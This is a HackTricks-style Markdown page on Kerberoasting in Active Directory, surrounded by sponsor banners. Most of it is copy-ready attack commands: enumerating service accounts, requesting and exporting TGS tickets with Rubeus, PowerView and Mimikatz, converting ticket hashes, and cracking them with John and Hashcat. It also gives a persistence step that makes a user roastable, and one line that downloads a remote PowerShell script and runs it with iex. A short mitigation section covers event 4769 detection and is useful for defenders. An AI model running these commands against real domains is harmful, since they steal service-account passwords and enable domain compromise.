174 lines
9.2 KiB
Markdown
174 lines
9.2 KiB
Markdown
# Kerberoast
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 (1) (2).png>)
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\
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Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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</details>
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## Kerberoast
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The goal of **Kerberoasting** is to harvest **TGS tickets for services that run on behalf of user accounts** in the AD, not computer accounts. Thus, **part** of these TGS **tickets are** **encrypted** with **keys** derived from user passwords. As a consequence, their credentials could be **cracked offline**.\
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You can know that a **user account** is being used as a **service** because the property **"ServicePrincipalName"** is **not null**.
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Therefore, to perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is anyone since no special privileges are required.
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**You need valid credentials inside the domain.**
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### **Attack**
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{% hint style="warning" %}
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**Kerberoasting tools** typically request **`RC4 encryption`** when performing the attack and initiating TGS-REQ requests. This is because **RC4 is** [**weaker**](https://www.stigviewer.com/stig/windows\_10/2017-04-28/finding/V-63795) and easier to crack offline using tools such as Hashcat than other encryption algorithms such as AES-128 and AES-256.\
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RC4 (type 23) hashes begin with **`$krb5tgs$23$*`** while AES-256(type 18) start with **`$krb5tgs$18$*`**`.`
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{% endhint %}
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#### **Linux**
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```bash
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msf> use auxiliary/gather/get_user_spns
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GetUserSPNs.py -request -dc-ip 192.168.2.160 <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
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GetUserSPNs.py -request -dc-ip 192.168.2.160 -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
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```
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#### Windows
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* **Enumerate Kerberoastable users**
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```powershell
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# Get Kerberoastable users
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setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
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Get-NetUser -SPN | select serviceprincipalname #Powerview
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.\Rubeus.exe kerberosat /stats
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```
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* **Technique 1: Ask for TGS and dump it from memory**
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```powershell
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#Get TGS in memory from a single user
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Add-Type -AssemblyName System.IdentityModel
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New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
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#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
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setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
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#List kerberos tickets in memory
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klist
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# Extract them from memory
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Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
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# Transform kirbi ticket to john
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python2.7 kirbi2john.py sqldev.kirbi
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# Transform john to hashcat
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sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
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```
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* **Technique 2: Automatic tools**
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```bash
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# Powerview: Get Kerberoast hash of a user
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Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
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# Powerview: Get all Kerberoast hashes
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Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
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# Rubeus
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.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
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.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
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.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
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# Invoke-Kerberoast
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iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
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Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
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```
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{% hint style="warning" %}
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When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
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{% endhint %}
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 (1) (2).png>)
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\
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Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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Get Access Today:
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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### Cracking
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```bash
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john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
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hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
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./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
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```
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### Persistence
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If you have **enough permissions** over a user you can **make it kerberoastable**:
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```bash
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Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
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```
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You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
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If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC: `ntpdate <IP of DC>`
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### Mitigation
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Kerberoast is very stealthy if exploitable
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* Security Event ID 4769 – A Kerberos ticket was requested
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* Since 4769 is very frequent, lets filter the results:
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* Service name should not be krbtgt
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* Service name does not end with $ (to filter out machine accounts used for services)
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* Account name should not be machine@domain (to filter out requests from machines)
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* Failure code is '0x0' (to filter out failures, 0x0 is success)
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* Most importantly, ticket encryption type is 0x17
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* Mitigation:
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* Service Account Passwords should be hard to guess (greater than 25 characters)
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* Use Managed Service Accounts (Automatic change of password periodically and delegated SPN Management)
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```bash
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Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
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```
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**More information about Kerberoasting in ired.team in** [**here** ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)**and** [**here**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)**.**
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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|
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 (1) (2).png>)
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\
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Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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Get Access Today:
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